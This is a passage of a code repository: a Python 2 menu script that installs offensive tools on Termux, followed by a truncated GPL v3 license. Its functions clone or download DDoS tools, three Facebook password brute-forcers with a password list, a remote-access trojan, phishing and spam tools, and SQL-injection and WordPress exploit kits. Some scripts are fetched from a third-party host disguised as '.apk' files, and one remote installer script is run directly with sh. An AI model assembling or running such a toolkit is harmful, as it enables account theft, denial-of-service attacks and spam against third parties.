python2') 195 | os.system('git clone https://github.com/UltimateHackers/Striker') 196 | os.system('mv Striker ~') 197 | os.system('cd ~/Striker && pip2 install -r requirements.txt') 198 | print '###### Done' 199 | backtomenu_option() 200 | 201 | def dsss(): 202 | print '\n###### Installing DSSS' 203 | os.system('apt update && apt upgrade') 204 | os.system('apt install python2 git') 205 | os.system('git clone https://github.com/stamparm/DSSS') 206 | os.system('mv DSSS ~') 207 | print '###### Done' 208 | backtomenu_option() 209 | 210 | def sqliv(): 211 | print '\n###### Installing SQLiv' 212 | os.system('apt update && apt upgrade') 213 | os.system('apt install python2 git') 214 | os.system('git clone https://github.com/Hadesy2k/sqliv') 215 | os.system('mv sqliv ~') 216 | print '###### Done' 217 | backtomenu_option() 218 | 219 | def sqlscan(): 220 | print '\n###### Installing sqlscan' 221 | os.system('apt update && apt upgrade') 222 | os.system('apt install git php') 223 | os.system('git clone http://www.github.com/Cvar1984/sqlscan') 224 | os.system('mv sqlscan ~') 225 | print '###### Done' 226 | backtomenu_option() 227 | 228 | def wordpreSScan(): 229 | print '\n###### Installing Wordpresscan' 230 | os.system('apt update && apt upgrade') 231 | os.system('apt install python2 python2-dev clang libxml2-dev libxml2-utils libxslt-dev') 232 | os.system('git clone https://github.com/swisskyrepo/Wordpresscan') 233 | os.system('mv Wordpresscan ~') 234 | os.system('cd ~/Wordpresscan && pip2 install -r requirements.txt') 235 | print '###### Done' 236 | backtomenu_option() 237 | 238 | def wpscan(): 239 | print '\n###### Installing WPScan' 240 | os.system('apt update && apt upgrade') 241 | os.system('apt install git ruby curl') 242 | os.system('git clone https://github.com/wpscanteam/wpscan') 243 | os.system('mv wpscan ~ && cd ~/wpscan') 244 | os.system('gem install bundle && bundle config build.nokogiri --use-system-libraries && bundle install && ruby wpscan.rb --update') 245 | print '###### Done' 246 | backtomenu_option() 247 | 248 | def wordpresscan(): 249 | print '\n###### Installing wordpresscan(2)' 250 | os.system('apt update && apt upgrade') 251 | os.system('apt install nmap figlet git') 252 | os.system('git clone https://github.com/silverhat007/termux-wordpresscan') 253 | os.system('cd termux-wordpresscan && chmod +x * && sh install.sh') 254 | os.system('mv termux-wordpresscan ~') 255 | print '###### Done' 256 | print "###### Type 'wordpresscan' to start." 257 | backtomenu_option() 258 | 259 | def routersploit(): 260 | print '\n###### Installing Routersploit' 261 | os.system('apt update && apt upgrade') 262 | os.system('apt install python2 git') 263 | os.system('pip2 install requests') 264 | os.system('git clone https://github.com/reverse-shell/routersploit') 265 | os.system('mv routersploit ~;cd ~/routersploit;pip2 install -r requirements.txt;termux-fix-shebang rsf.py') 266 | print '###### Done' 267 | backtomenu_option() 268 | 269 | def torshammer(): 270 | print '\n###### Installing Torshammer' 271 | os.system('apt update && apt upgrade') 272 | os.system('apt install python2 git') 273 | os.system('git clone https://github.com/dotfighter/torshammer') 274 | os.system('mv torshammer ~') 275 | print '###### Done' 276 | backtomenu_option() 277 | 278 | def slowloris(): 279 | print '\n###### Installing Slowloris' 280 | os.system('apt update && apt upgrade') 281 | os.system('apt install python2 git') 282 | os.system('git clone https://github.com/gkbrk/slowloris') 283 | os.system('mv slowloris ~') 284 | print '###### Done' 285 | backtomenu_option() 286 | 287 | def fl00d12(): 288 | print '\n###### Installing Fl00d & Fl00d2' 289 | os.system('apt update && apt upgrade') 290 | os.system('apt install python2 wget') 291 | os.system('mkdir ~/fl00d') 292 | os.system('wget http://override.waper.co/files/fl00d.apk') 293 | os.system('wget http://override.waper.co/files/fl00d2.apk') 294 | os.system('mv fl00d.apk ~/fl00d/fl00d.py;mv fl00d2.apk ~/fl00d/fl00d2.py') 295 | print '###### Done' 296 | backtomenu_option() 297 | 298 | def goldeneye(): 299 | print '\n###### Installing GoldenEye' 300 | os.system('apt update && apt upgrade') 301 | os.system('apt install git python2') 302 | os.system('git clone https://github.com/jseidl/GoldenEye') 303 | os.system('mv GoldenEye ~') 304 | print '###### Done' 305 | backtomenu_option() 306 | 307 | def xerxes(): 308 | print '\n###### Installing Xerxes' 309 | os.system('apt update && apt upgrade') 310 | os.system('apt install git') 311 | os.system('apt install clang') 312 | os.system('git clone https://github.com/zanyarjamal/xerxes') 313 | os.system('mv xerxes ~') 314 | os.system('cd ~/xerxes && clang xerxes.c -o xerxes') 315 | print '###### Done' 316 | backtomenu_option() 317 | 318 | def planetwork_ddos(): 319 | print '\n###### Installing Planetwork-DDOS' 320 | os.system('apt update && apt upgrade') 321 | os.system('apt install git python2') 322 | os.system('git clone https://github.com/Hydra7/Planetwork-DDOS') 323 | os.system('mv Planetwork-DDOS ~') 324 | print '###### Done' 325 | backtomenu_option() 326 | 327 | def hydra(): 328 | print '\n###### Installing Hydra' 329 | os.system('apt update && apt upgrade') 330 | os.system('apt install hydra') 331 | print '###### Done' 332 | backtomenu_option() 333 | 334 | def black_hydra(): 335 | print '\n###### Installing Black Hydra' 336 | os.system('apt update && apt upgrade') 337 | os.system('apt install hydra git python2') 338 | os.system('git clone https://github.com/Gameye98/Black-Hydra') 339 | os.system('mv Black-Hydra ~') 340 | print '###### Done' 341 | backtomenu_option() 342 | 343 | def cupp(): 344 | print '\n###### Installing Cupp' 345 | os.system('apt update && apt upgrade') 346 | os.system('apt install python2 git') 347 | os.system('git clone https://github.com/Mebus/cupp') 348 | os.system('mv cupp ~') 349 | print '###### Done' 350 | backtomenu_option() 351 | 352 | def leethash(): 353 | print '\n###### Installing 1337Hash' 354 | os.system('apt update && apt upgrade') 355 | os.system('apt install git python2') 356 | os.system('git clone https://github.com/Gameye98/1337Hash') 357 | os.system('mv 1337Hash ~') 358 | print '###### Done' 359 | backtomenu_option() 360 | 361 | def hash_buster(): 362 | print '\n###### Installing Hash-Buster' 363 | os.system('apt update && apt upgrade') 364 | os.system('apt install python2 git') 365 | os.system('git clone https://github.com/UltimateHackers/Hash-Buster') 366 | os.system('mv Hash-Buster ~') 367 | print '###### Done' 368 | backtomenu_option() 369 | 370 | def instaHack(): 371 | print '\n###### Installing InstaHack' 372 | os.system('apt update && apt upgrade') 373 | os.system('apt install python2 git') 374 | os.system('pip2 install requests') 375 | os.system('git clone https://github.com/avramit/instahack') 376 | os.system('mv instahack ~') 377 | print '###### Done' 378 | backtomenu_option() 379 | 380 | def indonesian_wordlist(): 381 | print '\n###### Installing indonesian-wordlist' 382 | os.system('apt update && apt upgrade') 383 | os.system('apt install git') 384 | os.system('git clone https://github.com/geovedi/indonesian-wordlist') 385 | os.system('mv indonesian-wordlist ~') 386 | print '###### Done' 387 | backtomenu_option() 388 | 389 | def facebook_bruteForce(): 390 | print '\n###### Installing Facebook Brute Force' 391 | os.system('apt update && apt upgrade') 392 | os.system('apt install python2 wget') 393 | os.system('pip2 install mechanize') 394 | os.system('mkdir ~/facebook-brute') 395 | os.system('wget http://override.waper.co/files/facebook.apk') 396 | os.system('wget http://override.waper.co/files/password.apk') 397 | os.system('mv facebook.apk ~/facebook-brute/facebook.py;mv password.apk ~/facebook-brute/password.txt') 398 | print '###### Done' 399 | backtomenu_option() 400 | 401 | def facebook_BruteForce(): 402 | print '\n###### Installing Facebook Brute Force 2' 403 | os.system('apt update && apt upgrade') 404 | os.system('apt install wget python2') 405 | os.system('pip2 install mechanize') 406 | os.system('wget http://override.waper.co/files/facebook2.apk') 407 | os.system('wget http://override.waper.co/files/password.apk') 408 | os.system('mkdir ~/facebook-brute-2') 409 | os.system('mv facebook2.apk ~/facebook-brute-2/facebook2.py && mv password.apk ~/facebook-brute-2/password.txt') 410 | print '###### Done' 411 | backtomenu_option() 412 | 413 | def fbBrute(): 414 | print '\n###### Installing Facebook Brute Force 3' 415 | os.system('apt update && apt upgrade') 416 | os.system('apt install wget python2') 417 | os.system('pip2 install mechanize') 418 | os.system('wget http://override.waper.co/files/facebook3.apk') 419 | os.system('wget http://override.waper.co/files/password.apk') 420 | os.system('mkdir ~/facebook-brute-3') 421 | os.system('mv facebook3.apk ~/facebook-brute-3/facebook3.py && mv password.apk ~/facebook-brute-3/password.txt') 422 | print '###### Done' 423 | backtomenu_option() 424 | 425 | def webdav(): 426 | print '\n###### Installing Webdav' 427 | os.system('apt update && apt upgrade') 428 | os.system('apt install python2 openssl curl libcurl') 429 | os.system('pip2 install urllib3 chardet certifi idna requests') 430 | os.system('mkdir ~/webdav') 431 | os.system('curl -k -O http://override.waper.co/files/webdav.txt;mv webdav.txt ~/webdav/webdav.py') 432 | print '###### Done' 433 | backtomenu_option() 434 | 435 | def xGans(): 436 | print '\n###### Installing xGans' 437 | os.system('apt update && apt upgrade') 438 | os.system('apt install python2 curl') 439 | os.system('mkdir ~/xGans') 440 | os.system('curl -O http://override.waper.co/files/xgans.txt') 441 | os.system('mv xgans.txt ~/xGans/xgans.py') 442 | print '###### Done' 443 | backtomenu_option() 444 | 445 | def webmassploit(): 446 | print '\n###### Installing Webdav Mass Exploiter' 447 | os.system("apt update && apt upgrade") 448 | os.system("apt install python2 openssl curl libcurl") 449 | os.system("pip2 install requests") 450 | os.system("curl -k -O https://pastebin.com/raw/K1VYVHxX && mv K1VYVHxX webdav.py") 451 | os.system("mkdir ~/webdav-mass-exploit && mv webdav.py ~/webdav-mass-exploit") 452 | print '###### Done' 453 | backtomenu_option() 454 | 455 | def wpsploit(): 456 | print '\n###### Installing WPSploit' 457 | os.system('apt update && apt upgrade') 458 | os.system('apt install python2 git') 459 | os.system('git clone git clone https://github.com/m4ll0k/wpsploit') 460 | os.system('mv wpsploit ~') 461 | print '###### Done' 462 | backtomenu_option() 463 | 464 | def sqldump(): 465 | print '\n###### Installing sqldump' 466 | os.system('apt update && apt upgrade') 467 | os.system('apt install python2 curl') 468 | os.system('pip2 install google') 469 | os.system('curl -k -O https://gist.githubusercontent.com/Gameye98/76076c9a282a6f32749894d5368024a6/raw/6f9e754f2f81ab2b8efda30603dc8306c65bd651/sqldump.py') 470 | os.system('mkdir ~/sqldump && chmod +x sqldump.py && mv sqldump.py ~/sqldump') 471 | print '###### Done' 472 | backtomenu_option() 473 | 474 | def websploit(): 475 | print '\n###### Installing Websploit' 476 | os.system('apt update && apt upgrade') 477 | os.system('apt install git python2') 478 | os.system('pip2 install scapy') 479 | os.system('git clone https://github.com/The404Hacking/websploit') 480 | os.system('mv websploit ~') 481 | print '###### Done' 482 | backtomenu_option() 483 | 484 | def sqlokmed(): 485 | print '\n###### Installing sqlokmed' 486 | os.system('apt update && apt upgrade') 487 | os.system('apt install python2 git') 488 | os.system('pip2 install urllib2') 489 | os.system('git clone https://github.com/Anb3rSecID/sqlokmed') 490 | os.system('mv sqlokmed ~') 491 | print '###### Done' 492 | backtomenu_option() 493 | 494 | def zones(): 495 | print '######' 496 | os.system("apt update && apt upgrade") 497 | os.system("apt install git php") 498 | os.system("git clone https://github.com/Cvar1984/zones") 499 | os.system("mv zones ~") 500 | print '######' 501 | backtomenu_option() 502 | 503 | def metasploit(): 504 | print '\n###### Installing Metasploit' 505 | os.system("apt update && apt upgrade") 506 | os.system("apt install git wget curl") 507 | os.system("wget https://gist.githubusercontent.com/Gameye98/d31055c2d71f2fa5b1fe8c7e691b998c/raw/09e43daceac3027a1458ba43521d9c6c9795d2cb/msfinstall.sh") 508 | os.system("mv msfinstall.sh ~;cd ~;sh msfinstall.sh") 509 | print '###### Done' 510 | print "###### Type 'msfconsole' to start." 511 | backtomenu_option() 512 | 513 | def commix(): 514 | print '\n###### Installing Commix' 515 | os.system('apt update && apt upgrade') 516 | os.system('apt install python2 git') 517 | os.system('git clone https://github.com/commixproject/commix') 518 | os.system('mv commix ~') 519 | print '###### Done' 520 | backtomenu_option() 521 | 522 | def brutal(): 523 | print '\n###### Installing Brutal' 524 | os.system('apt update && apt upgrade') 525 | os.system('apt install git') 526 | os.system('git clone https://github.com/Screetsec/Brutal') 527 | os.system('mv Brutal ~') 528 | print '###### Done' 529 | backtomenu_option() 530 | 531 | def a_rat(): 532 | print '\n###### Installing A-Rat' 533 | os.system('apt update && apt upgrade') 534 | os.system('apt install python2 git') 535 | os.system('git clone https://github.com/Xi4u7/A-Rat') 536 | os.system('mv A-Rat ~') 537 | print '###### Done' 538 | backtomenu_option() 539 | 540 | def knockmail(): 541 | print '\n###### Installing KnockMail' 542 | os.system('apt update && apt upgrade') 543 | os.system('apt install python2 git') 544 | os.system('pip2 install validate_email pyDNS') 545 | os.system('git clone https://github.com/4w4k3/KnockMail') 546 | os.system('mv KnockMail ~') 547 | print '###### Done' 548 | backtomenu_option() 549 | 550 | def spammer_grab(): 551 | print '\n###### Installing Spammer-Grab' 552 | os.system('apt update && apt upgrade') 553 | os.system('apt install python2 git && pip2 install requests') 554 | os.system('git clone https://github.com/p4kl0nc4t/spammer-grab') 555 | os.system('mv spammer-grab ~') 556 | print '###### Done' 557 | backtomenu_option() 558 | 559 | def hac(): 560 | print '\n###### Installing Hac' 561 | os.system('apt update && apt upgrade') 562 | os.system('apt install php git') 563 | os.system('git clone https://github.com/Cvar1984/Hac') 564 | os.system('mv Hac ~') 565 | print '###### Done' 566 | backtomenu_option() 567 | 568 | def spammer_email(): 569 | print '\n###### Installing Spammer-Email' 570 | os.system("apt update && apt upgrade") 571 | os.system("apt install git python2 && pip2 install argparse requests") 572 | os.system("git clone https://github.com/p4kl0nc4t/Spammer-Email") 573 | os.system("mv Spammer-Email ~") 574 | print '###### Done' 575 | backtomenu_option() 576 | 577 | def rang3r(): 578 | print '\n###### Installing Rang3r' 579 | os.system("apt update && apt upgrade") 580 | os.system("apt install git python2 && pip2 install optparse termcolor") 581 | os.system("git clone https://github.com/floriankunushevci/rang3r") 582 | os.system("mv rang3r ~") 583 | print '###### Done' 584 | backtomenu_option() 585 | 586 | def sh33ll(): 587 | print '\n###### Installing SH33LL' 588 | os.system("apt update && apt upgrade") 589 | os.system("apt install git python2") 590 | os.system("git clone https://github.com/LOoLzeC/SH33LL") 591 | os.system("mv SH33LL ~") 592 | print '###### Done' 593 | backtomenu_option() 594 | 595 | def social(): 596 | print '\n###### Installing Social-Engineering' 597 | os.system("apt update && apt upgrade") 598 | os.system("apt install python2 perl") 599 | os.system("git clone https://github.com/LOoLzeC/social-engineering") 600 | os.system("mv social-engineering ~") 601 | print '###### Done' 602 | backtomenu_option() 603 | 604 | def spiderbot(): 605 | print '\n###### Installing SpiderBot' 606 | os.system("apt update && apt upgrade") 607 | os.system("apt install git php") 608 | os.system("git clone https://github.com/Cvar1984/SpiderBot") 609 | os.system("mv SpiderBot ~") 610 | print '###### Done' 611 | backtomenu_option() 612 | 613 | def ngrok(): 614 | print '\n###### Installing Ngrok' 615 | os.system('apt update && apt upgrade') 616 | os.system('apt install git') 617 | os.system('git clone https://github.com/themastersunil/ngrok') 618 | os.system('mv ngrok ~') 619 | print '###### Done' 620 | backtomenu_option() 621 | 622 | def sudo(): 623 | print '\n###### Installing sudo' 624 | os.system('apt update && apt upgrade') 625 | os.system('apt install ncurses-utils git') 626 | os.system('git clone https://github.com/st42/termux-sudo') 627 | os.system('mv termux-sudo ~ && cd ~/termux-sudo && chmod 777 *') 628 | os.system('cat sudo > /data/data/com.termux/files/usr/bin/sudo') 629 | os.system('chmod 700 /data/data/com.termux/files/usr/bin/sudo') 630 | print '###### Done' 631 | backtomenu_option() 632 | 633 | def ubuntu(): 634 | print '\n###### Installing Ubuntu' 635 | os.system('apt update && apt upgrade') 636 | os.system('apt install python2 git') 637 | os.system('git clone https://github.com/Neo-Oli/termux-ubuntu') 638 | os.system('mv termux-ubuntu ~ && cd ~/termux-ubuntu && bash ubuntu.sh') 639 | print '###### Done' 640 | backtomenu_option() 641 | 642 | def fedora(): 643 | print '\n###### Installing Fedora' 644 | os.system('apt update && apt upgrade') 645 | os.system('apt install wget git') 646 | os.system('wget https://raw.githubusercontent.com/nmilosev/termux-fedora/master/termux-fedora.sh') 647 | os.system('mv termux-fedora.sh ~') 648 | print '###### Done' 649 | backtomenu_option() 650 | 651 | def nethunter(): 652 | print '\n###### Installing Kali NetHunter' 653 | os.system('apt update && apt upgrade') 654 | os.system('apt install git') 655 | os.system('git clone https://github.com/Hax4us/Nethunter-In-Termux') 656 | os.system('mv Nethunter-In-Termux ~') 657 | print '###### Done' 658 | backtomenu_option() 659 | 660 | def blackbox(): 661 | print '\n###### Installing BlackBox' 662 | os.system('apt update && apt upgrade') 663 | os.system('apt install python2 git && pip2 install optparse passlib') 664 | os.system('git clone https://github.com/jothatron/blackbox') 665 | os.system('mv blackbox ~') 666 | print '###### Done' 667 | backtomenu_option() 668 | 669 | def xattacker(): 670 | print '\n###### Installing XAttacker' 671 | os.system('apt update && apt upgrade') 672 | os.system('apt install git perl') 673 | os.system('cpnm install HTTP::Request') 674 | os.system('cpnm install LWP::Useragent') 675 | os.system('git clone https://github.com/Moham3dRiahi/XAttacker') 676 | os.system('mv XAttacker ~') 677 | print '###### Done' 678 | backtomenu_option() 679 | 680 | def vcrt(): 681 | print '\n###### Installing VCRT' 682 | os.system('apt update && apt upgrade') 683 | os.system('apt install python2 git') 684 | os.system('git clone https://github.com/LOoLzeC/Evil-create-framework') 685 | os.system('mv Evil-create-framework ~') 686 | print '###### Done' 687 | backtomenu_option() 688 | 689 | def socfish(): 690 | print '\n###### Installing SocialFish' 691 | os.system('apt update && apt upgrade') 692 | os.system('apt install python2 git && pip2 install wget') 693 | os.system('git clone https://github.com/UndeadSec/SocialFish') 694 | os.system('mv SocialFish ~') 695 | print '###### Done' 696 | backtomenu_option() 697 | 698 | def ecode(): 699 | print '\n###### Installing ECode' 700 | os.system('apt update && apt upgrade') 701 | os.system('apt install php git') 702 | os.system('git clone https://github.com/Cvar1984/Ecode') 703 | os.system('mv Ecode ~') 704 | print '###### Done' 705 | backtomenu_option() 706 | 707 | def hashzer(): 708 | print '\n###### Installing Hashzer' 709 | os.system('apt update && apt upgrade') 710 | os.system('apt install git python2') 711 | os.system('pip2 install requests') 712 | os.system('git clone https://github.com/Anb3rSecID/Hashzer') 713 | os.system('mv Hashzer ~') 714 | print '###### Done' 715 | backtomenu_option() 716 | 717 | def xsstrike(): 718 | print '\n###### Installing XSStrike' 719 | os.system('apt update && apt upgrade') 720 | os.system('apt install git python2') 721 | os.system('pip2 install fuzzywuzzy prettytable mechanize HTMLParser') 722 | os.system('git clone https://github.com/UltimateHackers/XSStrike') 723 | os.system('mv XSStrike ~') 724 | print '###### Done' 725 | backtomenu_option() 726 | 727 | def breacher(): 728 | print '\n###### Installing Breacher' 729 | os.system('apt update && apt upgrade') 730 | os.system('apt install git python2') 731 | os.system('pip2 install requests argparse') 732 | os.system('git clone https://github.com/UltimateHackers/Breacher') 733 | os.system('mv Breacher ~') 734 | print '###### Done' 735 | backtomenu_option() 736 | 737 | def stylemux(): 738 | print '\n###### Installing Termux-Styling' 739 | os.system('apt update && apt upgrade') 740 | os.system('apt install git') 741 | os.system('git clone https://github.com/BagazMukti/Termux-Styling-Shell-Script') 742 | os.system('mv Termux-Styling-Shell-Script ~') 743 | print '###### Done' 744 | backtomenu_option() 745 | 746 | def txtool(): 747 | print '\n###### Installing TXTool' 748 | os.system('apt update && apt upgrade') 749 | os.system('apt install git python2 nmap php curl') 750 | os.system('pip2 install requests') 751 | os.system('git clone https://github.com/kuburan/txtool') 752 | os.system('mv txtool ~') 753 | print '###### Done' 754 | backtomenu_option() 755 | 756 | def passgencvar(): 757 | print '\n###### Installing PassGen' 758 | os.system('apt update && apt upgrade') 759 | os.system('apt install git php') 760 | os.system('git clone https://github.com/Cvar1984/PassGen') 761 | os.system('mv PassGen ~') 762 | print '###### Done' 763 | backtomenu_option() 764 | 765 | def owscan(): 766 | print '\n###### Installing OWScan' 767 | os.system('apt update && apt upgrade') 768 | os.system('apt install git php') 769 | os.system('git clone https://github.com/Gameye98/OWScan') 770 | os.system('mv OWScan ~') 771 | print '###### Done' 772 | backtomenu_option() 773 | 774 | def sanlen(): 775 | print '\n###### Installing santet-online' 776 | os.system('apt update && apt upgrade') 777 | os.system('apt install git python2 && pip2 install requests') 778 | os.system('git clone https://github.com/Gameye98/santet-online') 779 | os.system('mv santet-online ~') 780 | print '###### Done' 781 | backtomenu_option() 782 | 783 | def spazsms(): 784 | print '\n###### Installing SpazSMS' 785 | os.system('apt update && apt upgrade') 786 | os.system('apt install git python2 && pip2 install requests') 787 | os.system('git clone https://github.com/Gameye98/SpazSMS') 788 | os.system('mv SpazSMS ~') 789 | print '###### Done' 790 | backtomenu_option() 791 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software 